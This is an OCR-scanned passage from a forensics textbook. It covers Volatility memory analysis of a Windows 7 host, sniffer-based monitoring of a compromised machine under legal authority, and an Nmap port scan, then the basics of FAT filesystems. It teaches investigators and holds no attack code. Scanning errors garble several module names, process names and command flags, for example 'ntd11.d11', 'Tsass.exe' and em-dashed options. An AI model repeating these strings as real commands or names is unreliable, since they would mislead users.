0x011a0000  0x100000 C:\Users\scott\AppData\Local\Google\Chrome\Application
\chrome.exe

0x778a0000  0x13c000 C:\Windows\SYSTEM32\ntd11.d11
0x77130000  0x0d4000 C:\Windows\system32\kernel32.d11
0x75bb0000  0x04a000 C:\Windows\system32\KERNELBASE.d11
0x77a30000 0x057000 C:\Windows\system32\SHLWAPI.d11
0x76f30000  0x04e000 C:\Windows\system32\GDI32.dT1
0x77340000  0x0c9000 C:\Windows\system32\USER32.d11
0x77a00000  0x00a000 C:\Windows\system32\LPK.d11
0x76020000  0x09d000 C:\Windows\system32\USP10.d11
0x77550000  0x0ac000 C:\Windows\system32\msvcrt.dl1
0x761c0000  0xc49000 C:\Windows\system32\SHELL32.d11
0x75050000  0x017000 C:\Windows\system32\USERENV.d11
0x77210000  0x0a1000 C:\Windows\system32\RPCRT4.d11
0x759f0000  0x00b000 C:\Windows\system32\profapi.dll
0x73f10000  0x00d000 C:\Windows\system32\WTSAPI32.d11
0x74ef0000  0x009000 C:\Windows\system32\VERSION.d11

To get a listing of all running processes on the Windows 7 system, enter the following
command: volatility —profile Win7SP0x86 pslist —f win7.raw.

The output for this command will display a complete listing of all processes that were
running at the time RAM was acquired. This information would be extremely useful for
your investigation because it could possibly provide clues or evidence that malicious soft-
ware was running, the process ID (PID) associated, and the parent process ID (PPID) that
invoked it.

Volatile Systems Volatility Framework 2.0

Offset(V) Name PID PPID Thds Hnds Time

0x9229a020 System 4 0 87 478 2011-10-20 23:37:54
0x935939a0 smss.exe 264 4 2 30 2011-10-20 23:37:54
0x934d8c48 csrss.exe 364 320 9 389 2011-10-20 23:37:58
0x93f2ad00 wininit.exe 456 320 3 80 2011-10-20 23:37:59
0x93f27d40 csrss.exe 468 448 11 283 2011-10-20 23:37:59
0x93f46210 services.exe 508 456 8 197 2011-10-20 23:37:59

0x93f52988 Tsass.exe 516 456 7 548 2011-10-20 23:38:00
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7. To get a listing of all network connections, enter the following command: volatility -
profile Win7SP0x86 netscan —f win7.raw.

The output for this command displays a complete listing of all network connections, pro-
tocols used by the connections, IP addresses, networks ports, and the processes that are
using these network resources, as listed in Table 6.1. Careful analysis of this output would
indicate any rogue or malicious applications with active connections to external networks.

NOTE

You will see a Created column in your output. Since the column was empty in our output, we did
not include that column in Table 6.1.

TABLE 6.1: Volatile Systems Volatility Framework 2.0
LOCAL ADDRESS
OFFSET PROTO FOREIGN ADDRESS STATE PID OWNER
0x7db6c3co TCPv4 192.168.150.129:49163 CLOSE_WAIT 2060 Dropbox.exe
199.47.217.172:443
ox7ddfb8oo TCPv4 192.168.150.129:49164 ESTABLISHED 2060 Dropbox.exe

192.168.150.1:17500

ox7ddfd400 TCPv4 192.168.150.129:49166 ESTABLISHED 2060 Dropbox.exe
199.47.217.146:80

ox7ddfeb70 TCPv4 192.168.150.129:49162 CLOSE_WAIT 2060 Dropbox.exe
75.126.110.108:443

0x7e300df8 TCPv4 192.168.150.129:49167 ESTABLISHED 2060 Dropbox.exe
192.168.150.1:17500

0x7ee28508 TCPv4 127.0.0.1:49161 ESTABLISHED 2060 Dropbox.exe
127.0.0.1:19872

0x7f802870 TCPv4 192.168.150.129:49194 ESTABLISHED 916 chrome.exe
209.85.227.104:80

ox7f8e6870 TCPv4 192.168.150.129:49194 ESTABLISHED 916 chrome.exe
209.85.227.104:80

ox7f9ca870 TCPv4 192.168.150.129:49194 ESTABLISHED 916 chrome.exe
209.85.227.104:80

ox7faoc270 TCPv4 192.168.150.129:49193 ESTABLISHED 916 chrome.exe
209.85.227.104:80
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A NOTE ABOUT ENCRYPTION

In almost all cases, once live analysis of the running system memory is complete, the next step
will be to remove electrical power from the system and obtain a forensic image of the data on the
drive. There are, however, many tools available that permit storage of the data on a drive in an
encrypted format, decrypting the data only when the correct useris logged in and/or the correct
password has been entered. There may be times when the need to obtain information stored on
arunning system may outweigh the need to preserve the evidentiary value of the time stamps
for that information. Examples of such situations could be counterintelligence cases, counter-
terrorism cases, or kidnapping cases where the location of a missing victim might be contained
on a subject’s computer. While Chapter 4, “Windows Password Issues,” addressed techniques
to defeat Windows passwords and from there defeat the Encrypting File System, in some cases
extracting the data from the system while it is running might be the only way to acquire the
needed information in a timely fashion. In these rare instances, adding another step to your live
analysis might be necessary and permissible. JADsoftware Inc. offers a free tool called Encrypted
Disk Detector (http://www.jadsoftware.com/go/?page_id=167/) that could help you, as the
investigator or first responder, check the target system for TrueCrypt, PGP, BitLocker, or McAfee
Endpoint Encryption encrypted volumes.

Furthermore, tools such as AccessData’s FTK Imager or EnCase Enterprise can be used to image
data from the drives of a running system; however, these tools can be extremely costly and may
not be available in all circumstances. In some rare cases, when all else fails and acquiring the
datais more important than protecting its associated time stamps, making a direct logical copy
of the needed files from the running system might be your best option. Ultimately, it will be up
to the investigator on the scene to determine whether to place the priority on following accepted
forensic-acquisition steps to maintain the evidentiary value of the data or on acquiring the needed
data directly from the running system despite possible problems with future prosecutions.

Monitoring Communication with the Victim Box

In addition to running live-analysis tools on the target system, you can monitor the network
traffic coming from and going to the system. While a rootkit may conceal the presence of a
communication channel from live-analysis tools, if the channel exists and is being used to com-
municate with another system, that traffic must pass across the network cable connected to the
victim computer at some point. Hacker tools, such as bots, will frequently send periodic commu-
nications to a server or chat room monitored by the hacker. In this way the hacker can keep tabs
on which machines she owns at any given moment.

By monitoring the traffic into and out of the target system, you can determine which IP
addresses are engaged in communication with the victim system, which ports are being used
for those communications, and possibly even the content of those communications. If you see
inbound connections successfully connecting to your target system on a port that your trusted
copy of netstat failed to report as being open, that is a strong indicator that a rootkit with a hid-
den backdoor has been installed on the victim computer.
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Monitoring communication on the wire into and out of your target system can yield a lot of
useful information. Here is a sample of items that such a technique can reveal:

¢ [P addresses of other computers of interest to the investigation

Ports that are listening on the target system

The command and control channel the hacker is using to control the victim system
Commands the hacker is issuing to the victim system

Data being extracted from the victim computer

® 6 & o o

Other attacks being launched from the victim computer and the IP addresses of other
potential victims

Once a hacker gains control of a computer, it is very common for the hacker to then use that
system as a launch platform for attacks against other systems. The attacker may also use the
compromised system as a jump-through machine, using it to control other victimized machines
in an effort to disguise her actual location. Monitoring such communications as they happen
can provide a treasure trove of evidence about the scope of the attack, the systems affected, the
techniques used, and the location of the attacker.

KEEP IT LEGAL!

In most cases, monitoring system communications while they traverse a network connection
requires a Title 111 (aka wiretap) order. Depending on the amount of information you desire to
obtain, a pen trap and trace order might also be viable options. The Uniting and Strengthening
America by Providing Appropriate Tools Required to Intercept and Obstruct Terrorism Act of 2001
(USA PATRIOT Act) does provide an exception to the Title Il order requirement for investigations
involving computer intrusions. In certain cases, the system administrator may give consent for law
enforcement to assist in performing live monitoring of data traversing a network. Be certain to check
with your prosecutor, the Computer Crime and Intellectual Property Section of the Department
of Justice, or your legal counsel before using a sniffer to monitor network traffic. Remember, the
authors of this book are not lawyers, so check with yours before undertaking any data-tap operation.

Because of the wealth of information that can be gained by monitoring a hacked system
while it is still running, investigators will frequently leave a hacked system up for days after an
intrusion has been detected, turning the victim system into a monitored honeypot with which
to snare the attacker. Obviously, the risks of further compromise of data on the victim system
and the potential for the victim system being used to launch further attacks against other sys-
tems must be weighed against any investigative gains that such an action may generate. The
totality of the circumstances surrounding the intrusion, the sensitivity of the network or system
attacked, and the desires of the victim organization (whose consent must be obtained) must all
be factored into a decision to leave a compromised system exposed for information-gathering
purposes. Also, to avoid any civil liability, this is another one of those cases where you need to
get a legal opinion from your appropriate legal adviser before proceeding.
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While detailing all of the steps involved in conducting a honeypot operation are beyond the
scope of this book, we will present a few suggestions as they relate to conducting a thorough
live analysis of a victim system. As shown in Figure 6.3, it’s possible to conduct basic monitoring
of a system with minimal effort. All that is required is a true layer-1 hub, a few patch cables, and
an investigative laptop with an appropriate sniffer. A sniffer, also called a network monitor or a
protocol analyzer, is a software package that can activate the promiscuous mode of a computer’s
network interface card, allowing it to capture all data that the network card can see being trans-
mitted. By plugging the victim computer, the investigative laptop, and the network cable leading
to the rest of the network into the hub, you enable the investigative laptop’s sniffer to see all of
the communication entering or leaving the victim system.

FIGURE 6.3 Compromised
The hardware Server
setup described

for monitoring the
communication to
and from the victim
system

Investigator

WHEN A HUB Is NOT A HUB

True OSllayer-1 hubs are becoming increasingly difficult to find. Many network devices that are
sold as hubs are in truth layer-2 switches, which segregate network traffic based on the intended
recipient’s Media Access Control (MAC) address. Since the purpose of using a hub in this context
is to allow the investigative laptop to monitor all communication going into or out of the victim
system, you must use a true hub that repeats all communications to all of the connected ports.
Be sure to test your hub to make sure that it truly is a hub—and not a switch—prior to initiating
your operation.

To perform the monitoring, set up a sniffer (such as tcpdump or Wireshark) on the investiga-
tive laptop. The sniffer should be configured to save all data that it captures into a file for later
analysis. Captured data will show which IP addresses and ports were used in communications,
what protocols were involved, and any data that is passed across the various systems without
encryption. You can then analyze the saved data with a variety of tools, including Wireshark,
Snort, or Sguil (pronounced sgweel). Explanations of all of these tools are beyond the scope of
this book, but each is freely available and well documented online.
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As with all other aspects of live analysis, the steps you take to monitor the network commu-
nications to the system must be well documented. While setting up your monitoring hub, you
will likely generate a brief system error on the victim system as the original network cable is
disconnected. This effect must be explained if it is later noted by the defense, so ensure that the
documentation of your actions is complete and accurate. Also ensure that your legal authority to
perform the monitoring is clearly defined and documented.

FOR FURTHER READING

Those of you who intend to perform monitoring of live systems should become familiar with
the tools of the trade. Snort, a freely available network-intrusion-detection system, can be used
to examine captured traffic for signatures of known attacks. Wireshark can be used to view all
packets exchanged with the victim system, and it provides tools for sorting based on IP addresses,
ports, time, and so on. It can also reconstruct data transmitted through a TCP session in its
entirety for quick and easy examination. Sguil, the authors’ preferred tool for such operations,
provides a full network-monitoring solution combining the abilities of Snort, Wireshark, and
other traffic-analysis utilities into one easy-to-use graphical user interface. You can find more
information about these tools at the following locations:

www.wireshark.org
www. snort.org

http://www.sguil.sourceforge.net/

When legally permitted, performing live analysis of a system should involve at least a brief
capture of data to ensure that no obviously malicious traffic is leaving the system. Capturing an
IP address that the victim system is using to send data back to the attacker can turn an investi-
gation of a single intrusion into an investigation of a group of previously undetected intrusions.
You can perform a capture even if the victim organization has already disconnected the victim
machine from the network. By connecting the victim machine and the investigative laptop to a
hub, you can monitor for attempts by the victim machine to communicate with an attacker, even
if such an attempt is not successful.

Scanning the Victim System

Another way of determining which ports are open on a victim system is to perform an external
port scan of the system. By scanning the box, any ports that are open should respond to con-
nection requests and be detected by a port scanner. You can compare these results to the output
of live-analysis tools such as netstat to corroborate their results or draw attention to open ports
that were masked by kernel-level rootkits.

Scanning a system is a relatively simple task that can be accomplished using freely available
tools. One such tool is Nmabp, a free security scanner for network exploration and hacking that
is available for download from www.nmap.org. This tool can perform a variety of scan types
against a specified range of ports. For the purposes of conducting live analysis, scanning all pos-
sible TCP and UDP ports is the most logical step, unless you have uncovered other information
during the course of an investigation that would give you a reason to scan a more limited range.
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After installing Nmap (or the popular GUI front end known as Zenmap, also available from
www. nmap.org) on an investigative laptop, you can use it to probe a victim machine for open
ports. If live analysis indicates the presence of a rogue open port, you could also use Nmap to
scan other systems in the network to determine if they have been infected with a similar tool
listening on that same port. It goes without saying that you should first get the consent of the
owner of any systems or an appropriate legal process (check with your legal advisor) prior to
scanning any system. Nmap will generate a textual report that you can then use to document
the results of the scan and compare to other evidence collected during live analysis.

TIP

Remember that by scanning the victim system, you are interacting with it and may alter time
stamps, generate log file entries, and so on. Therefore, you must be certain to thoroughly docu-
ment exactly what actions you took and the times at which you initiated them.

Figure 6.4 shows typical output from conducting a scan with the Zenmap tool.

FIGURE 6.4 (e R = -

USlng Zenmap to Scan Tools Profile Help
conduct an external || Target 192168150128 [+] erofile
port scan of the

target system

Cormmand: | nmap -0 |l§2.158‘15[]‘128

Hosts Services Nmap Output | Ports / Hosr_sl Topologyl Host Detailsl Scaﬂs|
QS ¢ Host - nmap -0 192.168.150.128 |z| Details

-7 192.168.150.128

Starting Nmap 5.51 ( http://nmap.crg ) at 2011-10-20
22:35 Eastern Davlight Time

Nmap scan report for 192.168.158.128

Host is up (©.880055s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

5357/tcp open wsdapi

MAC Address: 98:8C:29:8B:84:32 (VMware)

Warning: 05S5can results may be unreliable because we
could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Microsoft Windows Vista|2ees|7

05 details: Microsoft Windows Vista SP8 or SP1, Server
2888 SP1, or Windows 7

Network Distance: 1 hop

05 detection performed. Please report any incorrect
results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 23.37
seconds

Filter Hosts
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The Bottom Line

Prepare, test, verify, and document a toolkit for analyzing live systems. The toolkit that
you prepare for acquisition and subsequent analysis of a compromised system must be thor-
oughly tested and verified by you or someone in your unit before it can ever be used during
an actual response against a live business-critical server or in a large-scale intrusion investi-
gation. Failure to do so will result in severe consequences not only for you but potentially for
the system(s) involved.

All systems are different and can be installed on different architectures. As an investigator
you must know how to properly respond to a live system regardless of how it’s configured
and successfully acquire its RAM for subsequent analysis.

Master It Prepare a toolkit that can be used to respond to a potentially compromised
Windows 7 Standard Edition and Windows 2008 Standard Server by successfully acquir-
ing RAM from each system. Clearly indicate which processes are running on each system
at the time of the response.

Identify the pros and cons of performing a live analysis. Performing a live analysis pro-
vides the opportunity to pull relevant information out of the RAM of a running system that
will be lost once power to that system is discontinued. The disadvantage to this type of anal-
ysis is that it involves interacting with the system while it is still running, thus altering the
information contained on its hard drive(s). The investigator must determine whether losing
data from RAM or modifying data on disk represents the greatest threat to the investigation
and base her decision on how to collect evidence at the scene accordingly.

Master It You are called to the scene of a suspected intrusion. The administrator states
that he has detected the presence of communication going to the victim computer on port
6547, a port the administrator states should not be open on that computer. What initial
steps might you take to gather relevant evidence?



Windows Filesystems

Windows has many versions of its operating system in use. Those operating systems use either
a FAT filesystem, the NTFES filesystem, or the exFAT filesystem for file storage. To conduct any
forensic analysis of Windows systems, you need to have a working knowledge of filesystems in
general but especially of those filesystems used on Windows platforms.

In this chapter, you will learn to

¢ Interpret the data found in a 32-byte FAT directory record
Determine a file’s cluster run in a FAT table, given its starting cluster number and file size
Interpret the data found in an NTFS MFT record

Locate alternate data streams on an NTFS filesystem

* & ¢ o

Understand the basics of the exFAT filesystem

Filesystems vs. Operating Systems

It is important when conducting network investigations to understand the operating systems
involved as well as the filesystems used by those operating systems; both significantly impact
the investigation. It is just as important that you understand the differences between an operat-
ing system and a filesystem because they are distinct entities.

The operating system is responsible for the basic tasks of the computer’s function such as input
(mouse, keyboard, and so on), output (display, printing, and so on), control of peripheral devices
(disk drives, scanners, and so on), system security (authentication of users, controlling access to
objects, and so on), and keeping track of files and directories on available disks. It is during the
discharge of this latter function, the tracking of files and directories, that the filesystem most
clearly comes into play.

There are many different types of operating systems and filesystems in use. Examples of
commonly known operating systems are Microsoft DOS, Microsoft Windows, Mac OS X, Linux,
and Unix. Our focus in this book is the Microsoft Windows operating system. As mentioned in
Chapter 2, “The Microsoft Network Structure,” Windows has evolved through many versions.
Table 7.1 shows the various version numbers of the Windows NT family of operating systems,
their product names, and the years in which they were released. Because some references to the
operating system can be by version number and not by its common name, this table can be a
valuable reference to investigators.

A filesystem is a system or method of storing and retrieving data on a computer system that
allows for a hierarchy of directories, subdirectories, and files. The following are examples of file-
systems: FAT (12, 16, 32), NTFS, HFS, HFES+, ext2, ext3, ISO 9660, UDF, and UFS. The filesystem
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determines how the data is organized on the disk and controls where data is written. Thus, the
operating system relies on the underlying filesystem to organize and store the data it needs,
making calls to it as it reads and writes data.

TABLE 7.1: Version Numbers for the Windows NT Family of Operating Systems

VERSION NUMBER PRODUCT NAME

3.1 Windows NT 3.1

3.5 Windows NT 3.5

3.51 Windows NT 3.51

4.0 Windows NT 4.0

5.0 Windows 2000

5.1 Windows XP

5.2 Windows Server2003

6.0 Windows Vistaand Windows Server2008
6.1 Windows Server 2008 R2 and Windows 7

Most operating systems provide for a filesystem as part of their function and installation.
When a disk is partitioned, the partition type denotes the filesystem type and sets the boundar-
ies (starting and ending points) for the partition. In essence, a partition is a container for a filesys-
tem, and the same filesystem must be used throughout the partition. The filesystem structures
are established during the formatting operation, all of which actually occurs before the operat-
ing system is installed.

The Windows family of operating systems uses two basic forms of filesystems, FAT and
NTEFS. FAT stands for File Allocation Table, while NTFS stands for New Technology File System.
FAT filesystems have been around for more than 25 years and were the default filesystems for
many versions of Windows, with support still offered in the very latest versions. NTFS was an
optional filesystem starting with Windows NT and became the default filesystem starting with
Windows XP. The latest filesystem from Microsoft, exFAT, enhances the FAT filesystem to such
a degree that we are inclined to consider it a system unto itself and will discuss it at the end of
this chapter. We'll cover the FAT and NTFS filesystems in greater depth in the following section.

Regardless of the filesystem in use, each of the Microsoft Windows operating systems creates
a directory structure that varies between Windows versions. The OS determines what data is
stored on the disk, and the filesystem determines where on the disk that data physically resides.
Viewing the directory structure of data on a disk may give you an idea of which operating sys-
tem is running on that computer. While some of these directory structures are unique to the OS
in question, many others are duplicated between versions. Determining which version of the OS
is running on a particular system is best done through analysis of the registry, as discussed in
the next chapter.
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Table 7.2 shows directory structures associated with the default new installations of various
Microsoft Windows operating systems. Figure 7.1 shows the directory structure for the default
installation of Windows 7. With the previously mentioned cautions in mind, you might find this
directory structure beneficial during your initial assessment in determining which operating
system may be installed.

FIGURE 7.1 Organize v Sharewith v Bum  Newfolder ey 0 @
Default directory P 4 Mame : Date modified Type Size E
structure for Bl Desktop A SRecycleBin 30-Jan-119:30PM  File folder
Windows 7 & Downloads Config.Msi 05-Nov-11 File folder =
=L Recent Places = B Documents and Settings File folder
Proposals Intel File folder
Projects MSOCache
@ Local Disk (M) PerfLogs
Program Files
4 4 Libraries Program Files (36)
| Documents ProgramData
&) Music System Velume Information
k=] Pictures . Temp
B videos . Tools
Update
> ) Homegroup s Users 11-Apr-10
- . Windows 29-Oct-11813 AM  File folder -
TABLE 7.2: Default System and Profile Folder Names for Various Versions of Windows
OPERATING SYSTEM USER PROFILE FOLDERS DEFAULT SYSTEM FOLDER
Windows XP C:\Documents and Settings C:\Windows
Windows Server2003 C:\Documents and Settings C:\Windows
Windows Vista C:\Users C:\Windows
Windows 7 C:\Users C:\Windows
Windows Sever 2008 C:\Users C:\Windows

The detailed study of filesystems can easily be the subject of multiple courses and texts,
depending on the depth and breadth of knowledge you want to achieve. For our purposes as
forensic investigators, a basic knowledge will suffice.

A filesystem is to a computer system as the Dewey Decimal System is to a library. A file-
system knows where the files can be found and provides the files to the operating system. The
Dewey Decimal System provides information on where books can be found so that library users
can locate them. A large number of filesystems are available, all with unique features, benefits,
and drawbacks.
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CROSS-PLATFORM FORENSIC ARTIFACTS

When a piece of media is mounted and used on an operating system, the OS often creates hidden
metadata files that are unique to that OS. When examining media, it is important to recognize
these metadata artifacts because they can provide information to the investigator. The illustration
shown here displays metadata files on an 80-gigabyte external hard drive. These metadata files
show that this drive has been mounted and used on both a Windows operating system (Thumbs .
db) and a Mac OS X operating system (. _.Trashes and .DS_Store). You may need to expand
your investigation to include the other machine if you haven’t already!
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Operating systems are designed to understand or support a specific set of filesystem types.
Currently, Windows natively supports FAT, NTFS, and exFAT (except Windows 2008 Server
core). Mac OS X supports the HFS, HFS+, FAT, and exFAT filesystems, with read-only support
for NTFS. Most Linux distributions likewise support FAT but not exFAT as of this writing. Since
all three support FAT, you can readily see that FAT is an ideal cross-platform file structure that
can be used for flash media, thumb drives, external hard drives, and so on. Therefore, devices
formatted with the FAT filesystem are portable between the various popular operating systems,
including Unix/Linux, because they also support FAT. Because FAT can be used to transfer data
from one computer to another regardless of which common OS that computer is running, it will
be around for quite a while. Microsoft has been pushing its proprietary exFAT for a number of
years, but acceptance has been slow to come. The recent support by OS X for exFAT might help
propel it into more common use as removable media continue to grow in storage capacity.

Although there are differences between different types of filesystems, there are some simi-
larities. Regardless of the filesystem in use, all filesystems must perform, at a minimum, the fol-
lowing functions:

Track the name of the file (or directory).

Track the starting point of the file.

¢ Track the length of the file along with other file metadata, such as time stamps.
¢ Track the clusters used by the file (cluster runs).
& Track which allocations units (clusters) are allocated and which ones are not.
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FORENSICS 101

If you need a more detailed treatment of basic forensics concepts such as sectors, clusters, allo-
cated versus unallocated space, and so on, please consult EnCase Computer Forensics: The Official
EnCE EnCase Certified Examiner Study Guide by Steve Bunting.

Anything else a filesystem does besides these basic functions becomes an enhanced feature
of that filesystem.

In this section, we discussed the difference between an operating system and a filesystem, as
well as the relationship and interaction between the two. We discussed some of the basic func-
tions of an operating system, as well as some of the types of Windows operating systems. We
discussed the purpose of a filesystem and mentioned many types available, with FAT and NTFS
being the two types supported by Windows.

While the user, through the operating system, controls what data is stored on disk, it is the
filesystem that controls exactly where and how that data is stored. Understanding filesystems
in detail is therefore incredibly important to anyone who will conduct forensic analysis of digi-
tal media. In the next section, we will cover the details of the FAT filesystem in order that you
might understand its function, features, and limitations. Since it has been around for a quarter
of a century and continues as a cross-platform filesystem, you should expect to see plenty of FAT
filesystems while conducting network investigations.

@ Real World Scenario

You FOUND WHAT?

When conducting an examination of digital media, the filesystem used can play a significant role
in what evidence you may recover. NTFS, for example, is much more efficient at reusing space after
a file has been deleted. FAT, on the other hand, is much more likely to leave deleted data sitting
unused on unallocated clusters for long periods of time. We have found files that were several years
old, which the user assumed were long since permanently overwritten, just sitting there waiting
to be forensically recovered on volumes formatted with FAT.

Understanding FAT Filesystems

The File Allocation Table in a FAT filesystem serves two out of five of the basic filesystem func-
tions outlined previously, with some carryover into a third. When the file’s starting point is indi-
cated by the directory entry (described later), the corresponding FAT entry serves as the starting
point for locating the data. Accordingly, the FAT tracks which clusters the file uses. The FAT also
tracks which allocation units (clusters) are allocated and which are not. Because the FAT is the
predominant feature of the filesystem, it was only appropriate that the FAT gave this filesystem
its name.



184

CHAPTER7 WINDOWSFILESYSTEMS

FAT began as FAT12, grew to FAT16, and exists today as FAT32. The number following FAT
(12, 16, 32) describes the size of the entries in the table. (exFAT, while sharing some features with
FAT, is more of a redesign of the filesystem and will be covered separately in this chapter.)

In a FAT12 system, the table is an array of 12-bit entries, with each 12-bit sequence represent-
ing a cluster. The clusters are numbered sequentially, starting at cluster 0 and ending with the
last cluster in the volume. The theoretical maximum number of clusters for a 12-bit array is 4,096
(2'?), but certain values are reserved, making 4,084 clusters the largest number of clusters sup-
ported by a FAT12 system.

As you might expect, a FAT16 system has 16-bit FAT entries, and a FAT32 system has 32-bit
entries, although only 28 are used. Taking into account certain reserved values, a FAT16 system
supports up to 65,524 clusters. A FAT32 filesystem supports up to a theoretical maximum of
268,435,445 clusters but has a Master Boot Record-imposed limit of 67,092,481 clusters and thus is
capable of supporting a partition size of 2 terabytes. FAT12/16 and FAT32 differ in other features,
but the major difference is in the number of clusters they can support, as shown in Table 7.3.

TABLE 7.3: Maximum Number of Clusters Supported by FAT Types
FAT TYPE MAXIMUM NUMBER OF CLUSTERS SUPPORTED
FAT12 4,084
FAT16 65,524
FAT32 67,092,481

We have referenced allocation units, or clusters, as being managed by the FAT. Before you can
understand how a FAT works, you need to first understand the allocation units (clusters) it man-
ages. As a matter of review, a cluster is a group of sectors. A sector is usually 512 bytes. Formatting
the partition creates clusters, or allocation units. These are logical groups of sequential sectors.
The number of sectors in a cluster will vary based on media size and can be controlled by the user.
Within a partition, the cluster is the basic storage unit for that partition’s filesystem.

With the cluster being a filesystem’s basic storage unit, a file that is only 1 byte in length will
occupy one cluster on a partition. Figure 7.2 shows an EnCase report for a FAT32 partition on an
80-gigabyte hard drive. You can see that the number of sectors per cluster is 64. At 512 bytes per
sector, one cluster on this partition is 32,768 bytes in length (512 bytes per sector multiplied by
64 sectors). Figure 7.3 shows this same partition as reported by WinHex, which reports the num-
ber of bytes per cluster rather than in sectors. If you were to store a 1-byte file on this partition,

1 byte would be used for the file, while the remaining 32,767 bytes of the cluster could not be
used for any other file.

To demonstrate this, you can open Notepad, type in the single character (1), and save the
file. The text file will contain 1 byte of information. Figure 7.4 shows the properties of this file
when saved on the same FAT32 partition having 64 sectors per cluster (32,768 bytes). The size of
the file is 1 byte, while its Size On Disk is reported as 32,768 bytes. On this partition, you know
this to be the size of one cluster. When you do this on your system, your results will likely dif-
fer, because they will reflect the cluster size on your partition. Forensically, you refer to a file’s
size (data content) as its logical size. You refer to the size it occupies on the disk as its physical size.
Thus, this file would have a logical size of 1 byte and a physical size of 32,768 bytes.



FIGURE 7.2
EnCase report for
a FAT32 partition
on an 80 GB drive
showing 64 sectors
per cluster

FIGURE 7.3
WinHex report for
the same partition,
showing each clus-
ter as having 32,768
bytes

FIGURE 7.4
Properties of a
1-byte file on a
FAT32 partition
with 64 sectors per
cluster. Note that
its Size On Diskis
one cluster (32,768
bytes) even though
itis only 1 byte of
data.

Volume

File System: FAT32
Sectors per cluster: 64

Total Sectors: 156,296,322
Total Clusters: 2,441 533
Free Clusters: 580,457
Volume Name:

OEM Version: MSWIN4.1
Heads 255

Unused Sectors: 63
Sectors Per FAT: 19,076

orive F:

Name: S0gb_smb

FAT32

UNDERSTANDING FAT FILESYSTEMS

Drive Type
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Fixed

Bytes per sector. 512

Total Capacity

80,004,153,344 bytes (74 5GB)

Unallocated: 19,020,414 976 bytes (17.7GB)
Allocated: 60,983,738,368 bytes (56.8GB)
Volume Offset 63

Serial Number:  42F7-6971

Sectors Per Track 63

Number of FATs: 2

Boot Sectors:

32

Total capacity: 80,023,716,864 bytes = 74.5 GB

Total no.
FATL

Bytes
Free C

of sectors:
= FAT2

Usable sectors:
First data sector:
Bytes per sector:
er cluster: 32,768
usters: 580,477 = 24% free
Total clusters:

158, 2
156,258,112

38,184
512

2,441,533

96, 322

one_byte_file.txt Properties

General

‘ one_byte_file, txt

Type of file:

Opens with:

Text Document

@ UlreEcit-32 Professia

Location:

Size:

Size: on disk:

F:\
1bytes (1 bytes)

32.0 KB (32,768 bytes)

@ Real World Scenario

SLACK SPACE

In our example of a 1-byte file, there seems to be considerable wasted space in this cluster, amount-
ing to 32,767 bytes. Although it is truly wasted space in terms of disk storage, forensically this
space holds valuable information known as slack space. The area from the 1 byte of data until the
end of the sector in which it is contained is called sector slack. It is padded with zeros in versions
of Windows starting with Windows 95b. However, from the end of the first sector until the end of
the last sector in the cluster (63 sectors, or 32,256 bytes), this space will contain data from file(s)
previously occupying this cluster. We call this space file slack, and from a forensic perspective, it
is a potential gold mine of information and hardly wasted space. We have found many different
types of evidence in slack space, including fragments of financial records, incriminating e-mails,
and remnants of credit card dump files.
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FIGURE 7.5

FAT1 and FAT2 are
shown in an EnCase
disk view for a
device with a FAT12
filesystem.
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Now that you have a better understanding of an allocation unit, or cluster, you are prepared
to understand how the FAT manages those storage units. The FAT is an array of 12-, 16-, or
32-bit integers starting with cluster 0 and ending with the last cluster in the partition. Normally
there are two FAT tables, known as FAT1 and FAT2. FAT2 is a mirror of FAT1 and is used for
redundancy in the event FAT1 is corrupted. Figure 7.5 depicts an EnCase disk view showing the
location of FAT1 and FAT2 on a FAT12 partition. FAT1 is marked with 1 and FAT2 immediately
follows and is marked with 2. In this view, each square of the block denotes one sector (512
bytes). You might possibly encounter only one FAT with very small legacy media, or possibly an
advanced user has configured the media to have only one FAT. Such encounters are extremely
rare, however.
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The array (12, 16, or 32) for each cluster will contain a value indicative of its status. If its value
is 0, the cluster is not being used and is available for the system to use to store data. It is called
an unallocated cluster. If the cluster contains a value (other than certain reserved values), it is an
allocated cluster and indicates the next cluster in the chain of clusters that make up a file. If a clus-
ter contains an End of File value, it means that cluster is allocated and that the file ends in this
cluster, there being no more clusters in the chain of clusters making up the file. Finally, a cluster
could be marked as Bad in the FAT and therefore is not usable by the system. Table 7.4 summa-
rizes these values.

TABLE 7.4: Summary of Values Found in FAT
STATUS MEANING VALUES
Unallocated Available for use by the operating system 0x00.

to store a file or directory.

Allocated Value represents the next cluster used by Any value other than zero or other
thefile. reserved values noted next.

Allocated Last cluster used by the file and is signified ~ Value thatis greater than oxFF8 for FAT12,
by the End of File marker value. greater than oxFFF8 for FAT16, or greater

than oxFFFF FFF8 for FAT32.

Bad Not available for use by the operating Value will be 0xFF7 for FAT12, 0XFFF7 for
system. FAT16, and oxFFFF FFF7 for FAT32.
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FAT TRIVIA

Clusters 0 and 1 are used for purposes other than storing data. The very first cluster in which data
can be stored is cluster 2 and not, therefore, 0 or 1.

The other major component of the FAT file is the directory entry. This component con-
sists of a series of special 32-byte entries. Directory entries work together with the FAT to
manage the FAT filesystem. Because the FAT manages about half of the major functions of a
filesystem, it should be no surprise to learn that the directory entries handle what remains.
Among other information, a directory entry tracks a file’s name, its length in bytes, and its
starting cluster number, thereby providing the direct link to the FAT. Figure 7.6 shows the
raw data for a series of 32-byte directory entries, while Figure 7.7 shows the data after it is
decoded in an EnCase bookmark. Table 7.5 shows the value of each of the fields in the 32-byte
directory entry.

FIGURE 7.6

Raw data of 32-byte

directory entries

FIGURE 7.7
32-byte directory
entries decoded
by an EnCase
bookmark

Name Created Written Accessed Size Cluster
ENBD0620.04  Invalid Man 06/14/2004 22:37:46 0 0
ASPI MMon 06/14/2004 00:00:04 Man 06/14/2004 00:00:00 Mon 06/14/2004 0 437
NDIS Mon 06/14/2004 00:00:04 Man 06/14/2004 00:00:00 Mon 06/14/2004 0 546
NET Mon 06/14/2004 00:00:04 Mon 06/14/2004 00:00:00 Mon 06/14/2004 0 567
UTILS Mon 06/14/2004 00:00:04 Mon 06/14/2004 00:00:00 Mon 06/14/2004 0 570
COMMAND.COM Mon 06/14/2004 00:00:04 Mon 06/14/2004 00:00:00 IMon 06/14/2004 93390 5M
MSDOS.SYS Mon 06/14/2004 00:00:04 Mon 06/14/2004 00:00:00 IMon 06/14/2004 1] 0
